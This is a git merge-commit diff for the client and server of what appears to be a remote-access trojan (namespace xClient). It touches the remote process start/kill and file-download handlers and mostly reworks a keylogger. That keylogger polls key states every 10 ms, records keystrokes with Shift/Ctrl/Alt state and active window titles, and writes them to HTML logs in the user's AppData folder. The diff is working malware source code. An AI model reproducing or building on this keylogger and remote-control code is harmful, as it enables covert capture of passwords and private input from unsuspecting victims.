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Merge pull request #1 from MaxXor/master 

Merge with base
This commit is contained in:
Justin Yanke 2015-05-05 20:39:12 -04:00
parent ad115dd5cd e07eeeb511
commit ad211571e5
4 changed files with 165 additions and 67 deletions
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35
Client/Core/Commands/CommandHandler.cs
View File

@ -312,7 +312,8 @@ public static void HandleKillProcess(Packets.ServerPackets.KillProcess command,
Process.GetProcessById(command.PID).Kill();
}
catch
{ }
{
}
finally
{
HandleGetProcesses(new Packets.ServerPackets.GetProcesses(), client);
@ -321,19 +322,28 @@ public static void HandleKillProcess(Packets.ServerPackets.KillProcess command,
public static void HandleStartProcess(Packets.ServerPackets.StartProcess command, Client client)
{
if (!string.IsNullOrEmpty(command.Processname))
if (string.IsNullOrEmpty(command.Processname))
{
try
new Packets.ClientPackets.Status("Process could not be started!").Execute(client);
return;
}
try
{
ProcessStartInfo startInfo = new ProcessStartInfo
{
ProcessStartInfo startInfo = new ProcessStartInfo { UseShellExecute = true, FileName = command.Processname };
Process.Start(startInfo);
}
catch
{ }
finally
{
HandleGetProcesses(new Packets.ServerPackets.GetProcesses(), client);
}
UseShellExecute = true,
FileName = command.Processname
};
Process.Start(startInfo);
}
catch
{
new Packets.ClientPackets.Status("Process could not be started!").Execute(client);
}
finally
{
HandleGetProcesses(new Packets.ServerPackets.GetProcesses(), client);
}
}
@ -451,6 +461,7 @@ public static void HandleDownloadFile(Packets.ServerPackets.DownloadFile command
for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++)
{
if (!client.Connected) return;
if (_canceledDownloads.ContainsKey(command.ID)) return;
byte[] block;

2
Client/Core/Helper/FileSplit.cs
View File

@ -7,7 +7,7 @@ public class FileSplit
{
private int _maxBlocks;
private const int MAX_PACKET_SIZE = Client.MAX_PACKET_SIZE - Client.HEADER_SIZE - 1;
private const int MAX_PACKET_SIZE = Client.MAX_PACKET_SIZE - Client.HEADER_SIZE - (1024 * 2);
public string Path { get; private set; }
public string LastError { get; private set; }

193
Client/Core/Keylogger/Logger.cs
View File

@ -3,10 +3,20 @@
using System.IO;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
using System.Windows.Forms;
namespace xClient.Core.Keylogger
{
public class KeyData
{
public short Value { get; set; }
public bool ShitKey { get; set; }
public bool CapsLock { get; set; }
public bool ControlKey { get; set; }
public bool AltKey { get; set; }
}
public class Logger
{
#region "WIN32API"
@ -55,6 +65,22 @@ private static bool ShiftKey
}
}
private static bool ControlKey
{
get
{
return Convert.ToBoolean(GetAsyncKeyState(Keys.ControlKey) & 0x8000); //Returns true if shiftkey is pressed
}
}
private static bool AltKey // not working
{
get
{
return Convert.ToBoolean(GetAsyncKeyState(Keys.Menu) & 0x8000); //Returns true if shiftkey is pressed
}
}
private static bool CapsLock
{
get
@ -63,15 +89,15 @@ private static bool CapsLock
}
}
private StringBuilder _keyBuffer;
private StringBuilder _logFileBuffer;
private string _hWndTitle;
private string _hWndLastTitle;
private readonly string _filePath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) +
"\\Logs\\";
private readonly List<int> _enumValues;
private IntPtr _activeKeyboardLayout;
private readonly List<short> _enumValues;
private volatile List<KeyData> _keyBuffer;
private readonly System.Timers.Timer _timerLogKeys;
private readonly System.Timers.Timer _timerFlush;
@ -82,7 +108,9 @@ public Logger(double flushInterval)
WriteFile();
_enumValues = new List<int>()
_keyBuffer = new List<KeyData>();
_enumValues = new List<short>()
//Populate enumValues list with the Virtual Key Codes of the keys we want to log
{
8, //Backspace
@ -92,27 +120,28 @@ public Logger(double flushInterval)
46, //Delete
};
for (int i = 48; i <= 57; i++) //0-9 regular
for (short i = 48; i <= 57; i++) //0-9 regular
{
_enumValues.Add(i);
}
for (int i = 65; i <= 122; i++)
//65-90 are the key codes for A-Z, skip 91-94 which are LWin + RWin keys, Applications and sleep key, 95-111 numpad keys, 112-122 are F1-F11 keys
for (short i = 65; i <= 122; i++)
//65-90 A-Z
//91-92 LWin + RWin key
//skip 93-94 Applications and sleep key
//95-111 numpad keys, 112-122 F1-F11 keys
{
if (i >= 91 && i <= 94)
continue;
if (i >= 93 && i <= 94) continue;
_enumValues.Add(i);
}
for (int i = 186; i <= 192; i++)
for (short i = 186; i <= 192; i++)
//186 VK_OEM_1, 187 VK_OEM_PLUS, 188 VK_OEM_COMMA, 189 VK_OEM_MINUS, 190 VK_OEM_PERIOD, 191 VK_OEM_2, 192 VK_OEM_3
{
_enumValues.Add(i);
}
for (int i = 219; i <= 222; i++) //219 VK_OEM_4, 220 VK_OEM_5, 221 VK_OEM_6, 222 VK_OEM_7
for (short i = 219; i <= 222; i++) //219 VK_OEM_4, 220 VK_OEM_5, 221 VK_OEM_6, 222 VK_OEM_7
{
_enumValues.Add(i);
}
@ -120,64 +149,122 @@ public Logger(double flushInterval)
this._timerLogKeys = new System.Timers.Timer {Enabled = false, Interval = 10};
this._timerLogKeys.Elapsed += this.timerLogKeys_Elapsed;
EmptyKeyBuffer();
this._timerFlush = new System.Timers.Timer {Enabled = false, Interval = flushInterval};
this._timerFlush.Elapsed += this.timerFlush_Elapsed;
this._keyBuffer = new StringBuilder();
this._logFileBuffer = new StringBuilder();
}
private string HighlightpecialKey(string name)
{
return string.Format("<font color=\"0000FF\">[{0}]</font>", name);
}
private void EmptyKeyBuffer()
{
new Thread(() =>
{
while (this.Enabled)
{
Thread.Sleep(500);
int j = 0;
KeyData[] keybuffer = new KeyData[_keyBuffer.Count];
_keyBuffer.CopyTo(keybuffer);
foreach (var k in keybuffer)
{
switch (k.Value)
{
case 8:
_logFileBuffer.Append(HighlightpecialKey("Back"));
break;
case 9:
_logFileBuffer.Append(HighlightpecialKey("Tab"));
break;
case 13:
_logFileBuffer.Append(HighlightpecialKey("Enter"));
break;
case 32:
_logFileBuffer.Append(" ");
break;
case 46:
_logFileBuffer.Append(HighlightpecialKey("Del"));
break;
case 91:
case 92:
_logFileBuffer.Append(HighlightpecialKey("Win"));
break;
case 112:
case 113:
case 114:
case 115:
case 116:
case 117:
case 118:
case 119:
case 120:
case 121:
case 122:
_logFileBuffer.Append(HighlightpecialKey("F" + (k.Value - 111)));
break;
default:
if (_enumValues.Contains(k.Value))
{
if (k.AltKey && k.ControlKey && k.ShitKey)
{
_logFileBuffer.Append(HighlightpecialKey("SHIFT-CTRL-ALT-" + FromKeys(k.Value, k.ShitKey, k.CapsLock)));
}
if (k.AltKey && k.ControlKey && !k.ShitKey)
{
_logFileBuffer.Append(HighlightpecialKey("CTRL-ALT-" + FromKeys(k.Value, k.ShitKey, k.CapsLock)));
}
if (k.AltKey && !k.ControlKey)
{
_logFileBuffer.Append(HighlightpecialKey("ALT-" + FromKeys(k.Value, k.ShitKey, k.CapsLock)));
}
if (k.ControlKey && !k.AltKey)
{
_logFileBuffer.Append(HighlightpecialKey("CTRL-" + FromKeys(k.Value, k.ShitKey, k.CapsLock)));
}
else
{
_logFileBuffer.Append(FromKeys(k.Value, k.ShitKey, k.CapsLock));
}
}
break;
}
j++;
}
_keyBuffer.RemoveRange(0, j);
}
}).Start();
}
private void timerLogKeys_Elapsed(object sender, System.Timers.ElapsedEventArgs e)
{
_hWndTitle = GetActiveWindowTitle(); //Get active thread window title
_activeKeyboardLayout = GetActiveKeyboardLayout(); //Get active thread keyboard layout
foreach (int i in _enumValues) //Loop through our enumValues list populated with the keys we want to log
foreach (short i in _enumValues) //Loop through our enumValues list populated with the keys we want to log
{
if (GetAsyncKeyState(i) == -32767) //GetAsycKeyState returns -32767 to indicate keypress
{
_keyBuffer.Add(new KeyData() {CapsLock = CapsLock, ShitKey = ShiftKey, ControlKey = ControlKey, AltKey = AltKey, Value = i});
_hWndTitle = GetActiveWindowTitle(); //Get active thread window title
if (_hWndTitle != null)
{
if (_hWndTitle != _hWndLastTitle)
//Only write title to log if a key is pressed that we support in our enumValues list, we don't want to write the title to a log with blank characters to follow
if (_hWndTitle != _hWndLastTitle && _enumValues.Contains(i))
//Only write title to log if a key is pressed that we support
{
_hWndLastTitle = _hWndTitle;
_keyBuffer.Append("<br><br>[<b>" + _hWndTitle + "</b>]<br>");
_logFileBuffer.Append("<br><br>[<b>" + _hWndTitle + "</b>]<br>");
}
}
switch (i)
{
case 8:
_keyBuffer.Append("<font color=\"0000FF\">[Back]</font>");
return;
case 9:
_keyBuffer.Append("<font color=\"0000FF\">[Tab]</font>");
return;
case 13:
_keyBuffer.Append("<font color=\"0000FF\">[Enter]</font><br>");
return;
case 32:
_keyBuffer.Append(" ");
return;
case 46:
_keyBuffer.Append("<font color=\"0000FF\">[Del]</font>");
return;
}
if (_enumValues.Contains(i)) //If our enumValues list contains to current key pressed
{
_keyBuffer.Append(FromKeys(i, ShiftKey, CapsLock));
return;
}
}
}
}
private void timerFlush_Elapsed(object sender, System.Timers.ElapsedEventArgs e)
{
if (_keyBuffer.Length > 0)
if (_logFileBuffer.Length > 0)
WriteFile();
}
@ -207,13 +294,13 @@ private void WriteFile()
"<meta http-equiv='Content-Type' content='text/html; charset=utf-8' />Log created on " +
DateTime.Now.ToString("dd.MM.yyyy HH:mm") + "<br>");
if (_keyBuffer.Length > 0)
sw.Write(_keyBuffer);
if (_logFileBuffer.Length > 0)
sw.Write(_logFileBuffer);
_hWndLastTitle = string.Empty;
}
else
sw.Write(_keyBuffer);
sw.Write(_logFileBuffer);
}
catch
{
@ -225,7 +312,7 @@ private void WriteFile()
{
}
_keyBuffer = new StringBuilder();
_logFileBuffer = new StringBuilder();
}
private string GetActiveWindowTitle()
@ -259,7 +346,7 @@ private IntPtr GetActiveKeyboardLayout()
var sb = new StringBuilder(10);
return ToUnicodeEx(keys, 0, keyStates, sb, sb.Capacity, 0, _activeKeyboardLayout) == 1
return ToUnicodeEx(keys, 0, keyStates, sb, sb.Capacity, 0, GetActiveKeyboardLayout()) == 1
? (char?) sb[0]
: null;
//Get the appropriate unicode character from the state of keyboard and from the Keyboard layout (language) of the active thread

2
Server/Core/Helper/FileSplit.cs
View File

@ -7,7 +7,7 @@ public class FileSplit
{
private int _maxBlocks;
private const int MAX_PACKET_SIZE = Client.MAX_PACKET_SIZE - Client.HEADER_SIZE - 1;
private const int MAX_PACKET_SIZE = Client.MAX_PACKET_SIZE - Client.HEADER_SIZE - (1024 * 2);
public string Path { get; private set; }
public string LastError { get; private set; }